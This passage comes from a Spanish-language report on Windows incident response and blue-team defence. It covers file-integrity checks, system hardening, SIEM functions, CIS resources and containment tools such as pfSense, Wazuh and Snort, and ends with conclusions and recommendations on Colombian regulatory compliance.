Nota. Validacién de logs de eventos para analisis de eventos.

Es importante Verificar la integridad de archivos criticos Comparando archivos del

sistema con sus hashes conocidos para detectar modificaciones sospechosas y revisar los

archivos ejecutables en directorios comunes de ataque, como % TEMP%, %APPDATA%, y

C:\Windows\System32.

Figura 40

Integridad de Archivos Criticos

Nota. Validacion de la integridad de archivos criticos
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Realizar reportes, informes y comunicacion con el equipo de seguridad de la organizacion
para coordinar las medidas de contencidn y recuperacion del equipo de computo, asi como la
validacion de afectaciones adicionales en red.

Medidas de Hardenizacion

Para prevenir futuros ataques, es fundamental implementar una combinacion de medidas
técnicas y organizativas que fortalezcan la seguridad del sistema.

Validacion de actualizacion y parcheo de software y el sistema operativo (Windows)
junto con todas las aplicaciones actualizadas con los ultimos parches de seguridad.

Verificar el control de inicio de sesion y autenticacion de las cuentas, configurando
politicas de contrasefias robustas, asi como la implementacion de bloqueos automaticos tras
multiples intentos de inicio de sesion fallidos, en lo posible permita la habilitacion de la
autenticacion multifactor (MFA) para usuarios y administradores.

Configurar permisos de usuario minimos revisando y limitando privilegios de los
usuarios para que solo tengan acceso a lo que realmente necesitan (principio de privilegio
minimo).

Deshabilitar servicios que no sean esenciales, como RDP (Protocolo de Escritorio
Remoto) si no es estrictamente necesario, limitar el acceso a funciones criticas como PowerShell
o0 WMI Gnicamente a usuarios autorizados.

Ejecutar el control de segmentacion de red para limitar la propagacion lateral en caso de
un ataque.

Configuracion firewalls para bloguear puertos innecesarios y restringir el trafico saliente
a dominios o IPs confiables, habilitar reglas estrictas basadas en el principio de “denegar por

defecto".
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Realizar la monitorizacion del trafico de red, si se cuenta con herramientas como los

sistemas de deteccidn (IDS) y prevencion de intrusiones (IPS), asi como herramientas de

monitoreo proactivo para detectar amenazas.

Configurar listas blancas de aplicaciones para permitir herramientas de uso aprobadas

para la organizacion.

Aplicar configuraciones seguras para bases de datos, servidores web, y sistemas de

correo, y demas herramientas criticas.

Distinciones entre el equipo respuesta Incidentes y el Blue-Team

Tabla7

Diferencias Equipos

Equipo Blue - Team

Equipo de respuesta a incidentes informaticos

Es un equipo de defensa responsable de

proteger la infraestructura de T1y mitigar
riesgos proactivamente.

Prevenir ataques a través de la aplicacion de
controles de seguridad y supervisién
constante.

Actua de forma constante, tanto proactiva
como reactivamente, asegurando el

perfeccionamiento constante de la seguridad.

Monitoreo de sistemas y redes en tiempo real.

Hardenizacion de sistemas y configuracion

segura de infraestructura.

Implementacidn de soluciones de seguridad
(firewalls, IDS/IPS, SIEM).

Capacitacién a empleados sobre buenas
précticas de ciberseguridad.

Ejemplo: Grupo de Seguridad de la

Organizacion.

Es un equipo especializado que actla durante y después de un
incidente para contener, mitigar y remediar dafios.

Manejar incidentes especificos, desde su deteccion hasta su

remediacién completa.

Actla de manera reactiva y temporal durante o después de un
incidente de seguridad.

Contencion de amenazas activas.

Investigacion y analisis forense posterior al incidente.

Restauracion de servicios y eliminacion de amenazas.

Creacién de informes detallados para documentar el incidente y
Sus causas.
Ejemplo: Grupo de Respuestas a Emergencias Cibernéticas de

Colombia.

Nota. Diferencias entre equipo blue team y equipos respuesta a incidentes informaticos.
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CIS: Center For Internet Security

El Center for Internet Security (CIS), conocido en espafiol como el Centro para la
Seguridad en Internet ofrece multiples recursos y herramientas para mejorar la seguridad de
sistemas y redes. Dentro de un equipo Blue Team, estas herramientas y directrices pueden
utilizarse para los siguientes fines:

X Implementacion de CIS Benchmarks.

X Evaluacién y hardenizacidn de sistemas.

X Auditorias y evaluacién de cumplimiento.

<> Monitorizacion continua con CIS Controls

X Uso de herramientas gratuitas de CIS.

X Desarrollo de planes de respuesta y recuperacion.

X Capacitacion y sensibilizacion del equipo.

Un centro de seguridad de Interner reconocido es https://workbench.cisecurity.org/ que es

una herramienta gratuita que ayuda a usuarios a implementar configuraciones seguras para

diferentes tecnologias al interior.



Figura 41

Center For Internet Security

@ CIS WorkBench

Correo electrénico o nombre de usuario

Contrasefia

[lacuérdate de mi

@ Olvidaste tu confrasefia?
Condiciones de uso de CIS | Politica de privacidad

Todo lo que hacemos en CIS estd impulsado por la
comunidad. Traiga su experiencia en Tl a CIS
WorkBench, donde puede establecer contactos y

con i dela idad
de todo el mundo. Registrese ahora para ayudar a
redactar recomendaciones de configuracion para
los puntos de referencia de CIS, enviar tickets y
analizar las mejores précticas para proteger una
amplia gama de tecnologias

\\Cl S oot Security’

Nota. Validacion de la integridad de archivos criticos.

SIEM: Gestion de Eventos e Informacion de Seguridad

SIEM (Informacion de seguridad y gestidn de eventos) por su traduccién del ingles

(Security Information and Event Management) Es una herramienta clave en la ciberseguridad
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que combina la gestion de eventos de seguridad (SEM) y la gestidn de informacion de seguridad

(SIM).



Tabla 8

Siem
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Siem

Aspecto

Descripcion

Ejemplo

Recoleccion de datos

Correlacion de

eventos

Monitoreo en tiempo

real

Gestion de alertas

Almacenamiento y

retencion

Analisis forense

Informes y

visualizacién
Integracion con
herramientas

Cumplimiento

normativo

Recopila y centraliza datos de eventos y
logs de multiples fuentes (servidores,
aplicaciones, dispositivos de red).
Analiza eventos aparentemente aislados
para identificar patrones que puedan ser
indicativos de amenazas.

Proporciona vigilancia constante sobre la
red para detectar amenazas o anomalias de
forma inmediata.

Genera notificaciones automaticas basadas
en reglas definidas cuando se detecta un
evento critico.

Almacena logs y eventos histéricos para su
analisis posterior y cumplimiento de
normativas legales.

Proporciona herramientas para analizar
incidentes de seguridad pasados y rastrear
la causa raiz.

Genera dashboards e informes detallados
para facilitar la comprension y
presentacién de los datos de seguridad.
Compatible con soluciones como ids/ips,
antivirus, firewalls, y plataformas de
respuesta a incidentes.

Ayuda a demostrar conformidad con

regulaciones y estandares internacionales.

Recolecta logs de equipos firewall,

antivirus, ips y sistemas operativos.

Detecta actividad sospechosa, como
intentos de acceso repetidos desde
diferentes ubicaciones geograficas.
Alerta al equipo blue team sobre intentos
de acceso no autorizados o trafico

anémalo.

Alerta sobre un posible ataque de fuerza
bruta contra servidores de autenticacion.

Guarda datos de auditoria para cumplir

con regulaciones como gdpr o iso 27001.

Identifica como un atacante exploté una

vulnerabilidad en un servidor.

Muestra un resumen visual de incidentes

criticos en un periodo especifico.

Combina datos de snort (ids) y wazuh
(deteccion de intrusos) para una
correlacién mas robusta.

Genera informes para auditorias

normativas

Nota. Analisis de un SIEM (Informacion de seguridad y gestidn de eventos).

Herramientas Contencion de Ataques.

Tabla 9

Herramientas Contencion de Ataques
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Herramienta Decripcion

Funciones

Ventajas

Solucidn de firewall de
cddigo abierto con
PFSENSE ) ]
amplias capacidades de

configuracion y gestion.

Plataforma de cddigo
WAZUH abierto para monitoreo y

respuesta en Endpoints.

Sistemas de prevencion Y
deteccidn de intrusiones
SNORT ] o
mediante el analisis del

trafico y eventos en la red.

Filtran trafico basado en
reglas predefinidas.
Bloguean conexiones
sospechosas 0 no
autorizadas.
Configuracién de reglas

personalizadas.

VPN integrado para accesos

seguros.

Identificacion de
comportamientos
sospechosos en Endpoints.
Aislamiento de Endpoints
comprometidos de la red
principal.
Registro de actividades

anomalas en tiempo real.

Aislamiento de procesos
maliciosos.

Detecta anomalias 0
actividades maliciosas.
(IDS)

Bloguea el tréfico
sospechoso

automaticamente. (IPS)
Anadlisis en tiempo real de
tréfico.
Escaneo de puertos o

intentos de fuerza bruta.

Control del trafico entrante y

saliente.

Previenen accesos no deseados a

nivel de red.

Compatible con una amplia gama
de hardware.
Facil de

empresariales  de

integrar en redes
diferentes

tamanios.

Contencion rapida de amenazas

localizadas en dispositivos.

Andlisis detallado de amenazas

especificas en tiempo real.

Integracion con SIEM para un
monitoreo centralizado.

Soporte para sistemas operativos
diversos.

Respuesta automatizada ante
ataques en red, como el bloqueo

de IPs maliciosas.

Andlisis y correlacion de eventos

en redes complejas.

Soporte para reglas
personalizadas
Compatible con herramientas

SIEM para mayor integracion.

Nota. Analisis de unas diferentes herramientas de contencion de ataques.
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Conclusiones

La normativa colombiana sobre proteccion de datos personales y delitos informaticos no
solo define un marco legal obligatorio, sino que también subraya la importancia de actuar
éticamente en el manejo de incidentes cibernéticos. La alineacion con estas normativas fomenta
la confianza y protege los intereses de la organizacion.

La implementacion de ejercicios Red Team y simulaciones de ataque permite identificar
vulnerabilidades criticas y aplicar soluciones practicas. Esto contribuye a la construccion de una
infraestructura mas robusta y a la prevencién de incidentes de mayor impacto.

El uso de herramientas gratuitas y metodologias efectivas durante ataques cibernéticos
proporciona una respuesta oportuna y minimiza el impacto de los incidentes. Este enfoque,
combinado con la capacitacion continua, refuerza la capacidad de las organizaciones para

enfrentar desafios dinamicos en ciberseguridad.
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Recomendaciones

Implementar programas de formacion continua en ciberseguridad, ética y cumplimiento
normativo, dirigidos a todos los niveles de la organizacion, para fomentar una cultura de seguridad y
responsabilidad.

Integrar metodologias como Red Teaming y simulaciones de ataques cibernéticos en las
estrategias de seguridad para evaluar proactivamente las vulnerabilidades y reforzar los sistemas de
proteccion.

Asegurar que las herramientas y procesos utilizados en analisis y respuestas cibernéticas
estén alineados con las mejores practicas internacionales y actualizados frente a las amenazas
emergentes.

Establecer politicas que detallen las responsabilidades legales y éticas de los empleados, asi
como protocolos de actuacion frente a incidentes cibernéticos, para garantizar la conformidad con la
legislacion colombiana y estandares éticos.

Evaluar de manera constante el cumplimiento normativo, la efectividad de las herramientas
de ciberseguridad y la preparacién ante incidentes, para identificar y corregir posibles deficiencias de
forma temprana.

Implementar controles estrictos sobre el acceso y manejo de la informacion sensible,

asegurando su proteccion contra usos indebidos y posibles fugas.
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